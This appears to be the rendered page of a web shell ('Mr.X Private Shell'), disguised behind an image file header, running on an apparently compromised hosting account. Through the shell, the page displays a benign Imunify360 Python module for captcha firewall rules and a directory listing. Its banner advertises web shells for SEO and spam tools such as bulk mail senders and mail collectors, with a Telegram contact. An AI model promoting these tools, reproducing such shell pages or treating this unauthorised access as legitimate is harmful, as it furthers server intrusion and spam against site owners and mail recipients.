����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
"""Captcha specific rules customization."""
from typing import AbstractSet, Iterator, Mapping

from im360.subsys.panels.hosting_panel import HostingPanel
from im360.contracts.config import Webshield
from im360.internals.core.firewall import FirewallRules, is_nat_available
from im360.subsys import webshield
from defence360agent.utils.validate import IPVersion, LocalhostIP

from .types_ import FirewallRule, WebshieldRuleBuilder


class CaptchaRuleBuilder(WebshieldRuleBuilder):
    """Implement steps specific to generating captcha related iptables
    rules.

    """

    def __init__(self, include_webshield_ports_rules=False):  # type: ignore
        self.__include_webshield_ports_rules = include_webshield_ports_rules

    def open_webshield_ports_for_localhost_rules(
        self,
        ip_version: IPVersion,
    ) -> Iterator[FirewallRule]:
        """Return FirewallRule to open webshields ports for localhost."""
        if not self.__include_webshield_ports_rules:
            return
        yield FirewallRule(
            chain=FirewallRules.WEBSHIELD_PORTS_INPUT_CHAIN,
            rule=FirewallRules.open_all_for_src_net(
                LocalhostIP[ip_version].value
            ),
        )

    def block_webshield_ports_rules(
        self, redirect_map: Mapping[int, int], dest_ports: AbstractSet
    ) -> Iterator[FirewallRule]:
        """Return FirewallRules to log redirected traffic."""
        if not self.__include_webshield_ports_rules:
            return
        # insert rule to the bottom of WEBSHIELD_PORTS_INPUT_CHAIN
        yield FirewallRule(
            chain=FirewallRules.WEBSHIELD_PORTS_INPUT_CHAIN,
            rule=FirewallRules.compose_action(
                FirewallRules.LOG_BLOCK_PORT_CHAIN
            ),
            priority=FirewallRules.LOWEST_PRIORITY,
        )

    def redirect_panel_ports(
        self, ip_version: IPVersion
    ) -> Iterator[FirewallRule]:
        """
        Used to create redirect to webshield for panel ports
        for example 2082, 2083 for cPanel.
        Turned on by config option panel_protection
        """
        if not self.__include_webshield_ports_rules:
            return
        ports = HostingPanel().get_webshield_protected_ports()
        if (
            ports
            and Webshield.PANEL_PROTECTION
            and Webshield.ENABLE
            and webshield.expects_traffic()
        ):
            for dst_port, target_port in ports.items():
                yield FirewallRule(
                    rule=FirewallRules.protected_by_webshield(
                        dst_port, target_port
                    ),
                    chain=FirewallRules.IMUNIFY_INPUT_CHAIN,
                    table=FirewallRules.NAT
                    if is_nat_available(ip_version)
                    else FirewallRules.MANGLE,
                    priority=FirewallRules.HIGHEST_PRIORITY,
                )
            yield FirewallRule(
                rule=FirewallRules.block_dst_port_list(
                    set(ports.values()),
                    policy=FirewallRules.ACCEPT,
                ),
                chain=FirewallRules.WEBSHIELD_PORTS_INPUT_CHAIN,
                table=FirewallRules.FILTER,
                priority=FirewallRules.HIGHEST_PRIORITY,
            )

    def logdrop_chain_rules(self, ipset_name: str) -> Iterator[FirewallRule]:
        """Generator yield drop chain"""
        yield FirewallRule(
            rule=FirewallRules.ipset_rule(
                ipset_name, FirewallRules.LOG_GRAYLIST_CHAIN
            ),
        )

    def drop_tproxy_rules(self, ipset_name: str) -> Iterator[FirewallRule]:
        """Generator yield firewall drop rule for tproxy"""
        yield FirewallRule(
            rule=FirewallRules.traffic_not_from_tproxy(ipset_name)
        )

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 680 B 0644
captcha.py File 3.71 KB 0644
drop.py File 604 B 0644
log.py File 887 B 0644
port.py File 773 B 0644
splashscreen.py File 1.19 KB 0644
types_.py File 1.67 KB 0644
webshield.py File 4.21 KB 0644
white.py File 1016 B 0644